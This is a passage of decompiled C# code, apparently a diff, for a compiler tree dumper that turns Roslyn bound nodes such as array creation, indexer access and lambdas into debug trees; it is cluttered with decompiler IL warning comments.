//IL_00a3: Expected O, but got Unknown + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Expected O, but got Unknown + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Expected O, but got Unknown + return new TreeDumperNode("delegateCreationExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("argument", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Argument, null) }), + new TreeDumperNode("methodOpt", (object)node.MethodOpt, (IEnumerable)null), + new TreeDumperNode("isExtensionMethod", (object)node.IsExtensionMethod, (IEnumerable)null), + new TreeDumperNode("wasTargetTyped", (object)node.WasTargetTyped, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitArrayCreation(BoundArrayCreation node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Expected O, but got Unknown + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Expected O, but got Unknown + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Expected O, but got Unknown + return new TreeDumperNode("arrayCreation", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("bounds", (object)null, node.Bounds.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("initializerOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.InitializerOpt, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitArrayInitialization(BoundArrayInitialization node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Expected O, but got Unknown + return new TreeDumperNode("arrayInitialization", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("isInferred", (object)node.IsInferred, (IEnumerable)null), + new TreeDumperNode("initializers", (object)null, node.Initializers.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitStackAllocArrayCreation(BoundStackAllocArrayCreation node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + return new TreeDumperNode("stackAllocArrayCreation", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("elementType", (object)node.ElementType, (IEnumerable)null), + new TreeDumperNode("count", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Count, null) }), + new TreeDumperNode("initializerOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.InitializerOpt, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitConvertedStackAllocExpression(BoundConvertedStackAllocExpression node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + return new TreeDumperNode("convertedStackAllocExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("elementType", (object)node.ElementType, (IEnumerable)null), + new TreeDumperNode("count", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Count, null) }), + new TreeDumperNode("initializerOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.InitializerOpt, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitFieldAccess(BoundFieldAccess node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Expected O, but got Unknown + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Expected O, but got Unknown + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Expected O, but got Unknown + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Expected O, but got Unknown + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Expected O, but got Unknown + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Expected O, but got Unknown + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Expected O, but got Unknown + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Expected O, but got Unknown + return new TreeDumperNode("fieldAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[9] + { + new TreeDumperNode("receiverOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverOpt, null) }), + new TreeDumperNode("fieldSymbol", (object)node.FieldSymbol, (IEnumerable)null), + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("isByValue", (object)node.IsByValue, (IEnumerable)null), + new TreeDumperNode("isDeclaration", (object)node.IsDeclaration, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitHoistedFieldAccess(BoundHoistedFieldAccess node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + return new TreeDumperNode("hoistedFieldAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("fieldSymbol", (object)node.FieldSymbol, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitPropertyAccess(BoundPropertyAccess node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Expected O, but got Unknown + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Expected O, but got Unknown + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Expected O, but got Unknown + return new TreeDumperNode("propertyAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("receiverOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverOpt, null) }), + new TreeDumperNode("initialBindingReceiverIsSubjectToCloning", (object)node.InitialBindingReceiverIsSubjectToCloning, (IEnumerable)null), + new TreeDumperNode("propertySymbol", (object)node.PropertySymbol, (IEnumerable)null), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitEventAccess(BoundEventAccess node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Expected O, but got Unknown + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Expected O, but got Unknown + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Expected O, but got Unknown + return new TreeDumperNode("eventAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("receiverOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverOpt, null) }), + new TreeDumperNode("eventSymbol", (object)node.EventSymbol, (IEnumerable)null), + new TreeDumperNode("isUsableAsField", (object)node.IsUsableAsField, (IEnumerable)null), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitIndexerAccess(BoundIndexerAccess node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Expected O, but got Unknown + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Expected O, but got Unknown + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Expected O, but got Unknown + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Expected O, but got Unknown + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Expected O, but got Unknown + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Expected O, but got Unknown + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_011a: Expected O, but got Unknown + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Expected O, but got Unknown + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Expected O, but got Unknown + //IL_015d: Unknown result type (might be due to invalid IL or missing references) + //IL_0163: Expected O, but got Unknown + //IL_0163: Unknown result type (might be due to invalid IL or missing references) + //IL_0169: Expected O, but got Unknown + return new TreeDumperNode("indexerAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[13] + { + new TreeDumperNode("receiverOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverOpt, null) }), + new TreeDumperNode("initialBindingReceiverIsSubjectToCloning", (object)node.InitialBindingReceiverIsSubjectToCloning, (IEnumerable)null), + new TreeDumperNode("indexer", (object)node.Indexer, (IEnumerable)null), + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("argumentNamesOpt", (object)node.ArgumentNamesOpt, (IEnumerable)null), + new TreeDumperNode("argumentRefKindsOpt", (object)node.ArgumentRefKindsOpt, (IEnumerable)null), + new TreeDumperNode("expanded", (object)node.Expanded, (IEnumerable)null), + new TreeDumperNode("argsToParamsOpt", (object)node.ArgsToParamsOpt, (IEnumerable)null), + new TreeDumperNode("defaultArguments", (object)node.DefaultArguments, (IEnumerable)null), + new TreeDumperNode("originalIndexersOpt", (object)node.OriginalIndexersOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitImplicitIndexerAccess(BoundImplicitIndexerAccess node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Expected O, but got Unknown + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Expected O, but got Unknown + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Expected O, but got Unknown + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Expected O, but got Unknown + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Expected O, but got Unknown + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Expected O, but got Unknown + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_012c: Expected O, but got Unknown + //IL_012c: Unknown result type (might be due to invalid IL or missing references) + //IL_0132: Expected O, but got Unknown + return new TreeDumperNode("implicitIndexerAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[9] + { + new TreeDumperNode("receiver", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Receiver, null) }), + new TreeDumperNode("argument", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Argument, null) }), + new TreeDumperNode("lengthOrCountAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LengthOrCountAccess, null) }), + new TreeDumperNode("receiverPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverPlaceholder, null) }), + new TreeDumperNode("indexerOrSliceAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.IndexerOrSliceAccess, null) }), + new TreeDumperNode("argumentPlaceholders", (object)null, node.ArgumentPlaceholders.Select((BoundImplicitIndexerValuePlaceholder x) => Visit(x, null))), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitInlineArrayAccess(BoundInlineArrayAccess node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Expected O, but got Unknown + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Expected O, but got Unknown + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Expected O, but got Unknown + return new TreeDumperNode("inlineArrayAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("argument", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Argument, null) }), + new TreeDumperNode("isValue", (object)node.IsValue, (IEnumerable)null), + new TreeDumperNode("getItemOrSliceHelper", (object)node.GetItemOrSliceHelper, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDynamicIndexerAccess(BoundDynamicIndexerAccess node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Expected O, but got Unknown + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Expected O, but got Unknown + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Expected O, but got Unknown + return new TreeDumperNode("dynamicIndexerAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("receiver", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Receiver, null) }), + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("argumentNamesOpt", (object)node.ArgumentNamesOpt, (IEnumerable)null), + new TreeDumperNode("argumentRefKindsOpt", (object)node.ArgumentRefKindsOpt, (IEnumerable)null), + new TreeDumperNode("applicableIndexers", (object)node.ApplicableIndexers, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitLambda(BoundLambda node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Expected O, but got Unknown + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Expected O, but got Unknown + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Expected O, but got Unknown + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Expected O, but got Unknown + return new TreeDumperNode("lambda", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("unboundLambda", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.UnboundLambda, null) }), + new TreeDumperNode("symbol", (object)node.Symbol, (IEnumerable)null), + new TreeDumperNode("body", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Body, null) }), + new TreeDumperNode("diagnostics", (object)node.Diagnostics, (IEnumerable)null), + new TreeDumperNode("binder", (object)node.Binder, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitUnboundLambda(UnboundLambda node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected O, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Expected O, but got Unknown + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Expected O, but got Unknown + return new TreeDumperNode("unboundLambda", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("data", (object)node.Data, (IEnumerable)null), + new TreeDumperNode("functionType", (object)node.FunctionType, (IEnumerable)null), + new TreeDumperNode("withDependencies", (object)node.WithDependencies, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitQueryClause(BoundQueryClause node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Expected O, but got Unknown + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Expected O, but got Unknown + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Expected O, but got Unknown + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Expected O, but got Unknown + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Expected O, but got Unknown + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Expected O, but got Unknown + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_010b: Expected O, but got Unknown + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Expected O, but got Unknown + return new TreeDumperNode("queryClause", (object)null, (IEnumerable)(object)new TreeDumperNode[9] + { + new TreeDumperNode("value", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Value, null) }), + new TreeDumperNode("definedSymbol", (object)node.DefinedSymbol, (IEnumerable)null), + new TreeDumperNode("operation", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operation, null) }), + new TreeDumperNode("cast", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Cast, null) }), + new TreeDumperNode("binder", (object)node.Binder, (IEnumerable)null), + new TreeDumperNode("unoptimizedForm", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.UnoptimizedForm, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitTypeOrInstanceInitializers(BoundTypeOrInstanceInitializers node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Expected O, but got Unknown + return new TreeDumperNode("typeOrInstanceInitializers", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("statements", (object)null, node.Statements.Select((BoundStatement x) => Visit(x, null))), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitNameOfOperator(BoundNameOfOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + return new TreeDumperNode("nameOfOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("argument", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Argument, null) }), + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitUnconvertedInterpolatedString(BoundUnconvertedInterpolatedString node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Expected O, but got Unknown + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Expected O, but got Unknown + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + return new TreeDumperNode("unconvertedInterpolatedString", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("parts", (object)null, node.Parts.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitInterpolatedString(BoundInterpolatedString node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Expected O, but got Unknown + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Expected O, but got Unknown + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Expected O, but got Unknown + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Expected O, but got Unknown + return new TreeDumperNode("interpolatedString", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("interpolationData", (object)node.InterpolationData, (IEnumerable)null), + new 